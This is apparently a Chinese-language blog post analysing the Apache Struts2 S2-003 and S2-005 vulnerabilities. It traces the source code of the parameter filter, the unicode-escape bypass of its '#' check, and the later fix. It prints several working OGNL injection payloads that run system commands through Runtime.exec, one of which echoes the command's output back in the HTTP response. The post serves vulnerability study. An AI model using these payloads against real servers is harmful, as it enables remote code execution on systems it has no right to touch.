前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
S2-003
环境搭建
参考前面的文章,没有什么代码上的改变,只要更换一下 tomcat 和 struts2 的版本就好。
我这里使用的是 2.0.11.1 版本的 struts2,然后因为漏洞利用使用到了特殊字符,需要弄一个 tomcat6,我这里下载的是 6.0.10 版本的 tomcat,开箱即用,非常方便。
漏洞分析
在官方通告中,漏洞在于 ParametersInterceptor 里面对 # 的安全保护被绕过了,从而可以操作服务端的上下文对象。
看一下 ParametersInterceptor 类的源码,可以看出这个类主要是对参数的一些处理,我这里给 setParameters 方法下一个断点,然后访问 http://localhost:8080/login.action?name=Twings 观察调用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| Map.Entry entry = (Map.Entry) iterator.next(); String name = entry.getKey().toString();
boolean acceptableName = acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name));
if (acceptableName) { Object value = entry.getValue(); try { stack.setValue(name, value); } ... }
|
可以看到参数名在经过 acceptableName 处理后会进入 stack.setValue 方法,我们跟进去看看:
1 2 3
| public void setValue(String expr, Object value) { setValue(expr, value, devMode); }
|
很明显,这里会把参数名当作一个表达式来执行,我们回想一下 OGNL 表达式达成命令执行的方法,需要用 # 来获取非根对象,而在 acceptableName 方法中:
1 2 3 4 5 6 7 8
| protected boolean acceptableName(String name) { if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1 || name.indexOf(':') != -1 || isExcluded(name)) { return false; } else { return true; } }
|
已经把 # 给 ban 掉了,所以无法直接利用。我们看看官方公布的 payload:
1
| ('\u0023' + 'session\'user\'')(unused)=0wn3d
|
很明显它后面会将 \u0023 解码为 #,我们将参数名换成 \u0023 继续调试,最后来到 JavaCharStream 类的 readChar 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| if ((buffer[bufpos] = c = ReadByte()) == '\\') { UpdateLineColumn(c);
int backSlashCnt = 1;
for (;;) { if (++bufpos == available) AdjustBuffSize();
try { if ((buffer[bufpos] = c = ReadByte()) != '\\') { UpdateLineColumn(c); if ((c == 'u') && ((backSlashCnt & 1) == 1)) { if (--bufpos < 0) bufpos = bufsize - 1;
break; }
backup(backSlashCnt); return '\\'; } } ...
UpdateLineColumn(c); backSlashCnt++; } try { while ((c = ReadByte()) == 'u') ++column;
buffer[bufpos] = c = (char)(hexval(c) << 12 | hexval(ReadByte()) << 8 | hexval(ReadByte()) << 4 | hexval(ReadByte()));
column += 4; } ... }
|
在读到 \u 的情况下,会继续读入 4 个字符,并将它们转换为 char,也就是把 \u0023 变成了 #,也就绕过了前面的保护,从而可以使用 # 获取到需要的对象。
漏洞利用
接下来就可以构造 payload 实现命令执行了,可以看看这个 OGNL 的官方文档,我这里就不研究 OGNL 表达式的语法了(它的语法分析好像叫 javacc 来着,看起来真让人头大),或者可以看看这篇文章,我这里直接借用几个 payload:
1
| ('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)
|
1
| ('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))
|
他这个字符串然后两个括号的执行方式着实奇怪。
至于为什么需要先将 xwork.MethodAccessor.denyMethodExecution 赋值为 false,那是因为在处理调用方法的 callMethod 方法中,有这么一个验证:
1 2 3 4 5 6 7 8
| Boolean exec = (Boolean) context.get(DENY_METHOD_EXECUTION); boolean e = ((exec == null) ? false : exec.booleanValue());
if (!e) { return super.callMethod(context, object, string, objects); } else { return null; }
|
处理调用静态方法的 callStaticMethod 方法也有这个验证:
1 2 3 4 5 6 7 8 9 10
| public Object callStaticMethod(Map context, Class aClass, String string, Object[] objects) throws MethodFailedException { Boolean exec = (Boolean) context.get(DENY_METHOD_EXECUTION); boolean e = ((exec == null) ? false : exec.booleanValue());
if (!e) { return super.callStaticMethod(context, aClass, string, objects); } else { return null; } }
|
如果 DENY_METHOD_EXECUTION 为 true,这里就不会调用方法。
漏洞修复
按照 S2-005 的说法,S2-005 是 S2-003 的绕过,在 2.2.1 版本之前已经有一次修复(听说是 2.0.12 版本),是通过添加新的类似 DENY_METHOD_EXECUTION 的配置参数来拦截方法调用实现的,而这种修复可以像上面一样通过修改轻易地绕过:
1
| login.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'deepin-calculator\')')(bla)(bla)
|
而在 2.2.1 版本进行了修复,改变了 acceptableName 里面的白名单限制:
1 2 3 4 5 6 7 8 9 10 11 12
| protected boolean isAccepted(String paramName) { if (!this.acceptParams.isEmpty()) { for (Pattern pattern : acceptParams) { Matcher matcher = pattern.matcher(paramName); if (matcher.matches()) { return true; } } return false; } else return acceptedPattern.matcher(paramName).matches(); }
|
而 acceptedPattern 是这样的一个正则:
可以看到 \ 也被拦截了,所以这种利用方式也走不通了。
S2-005
漏洞分析
就是上面提到的,在 S2-003 基础上增加新的安全配置后的绕过。
漏洞利用
见上方。
漏洞修复
见 2.2.1 版本修复。
参考文章:
https://xz.aliyun.com/t/2323
https://xz.aliyun.com/t/7966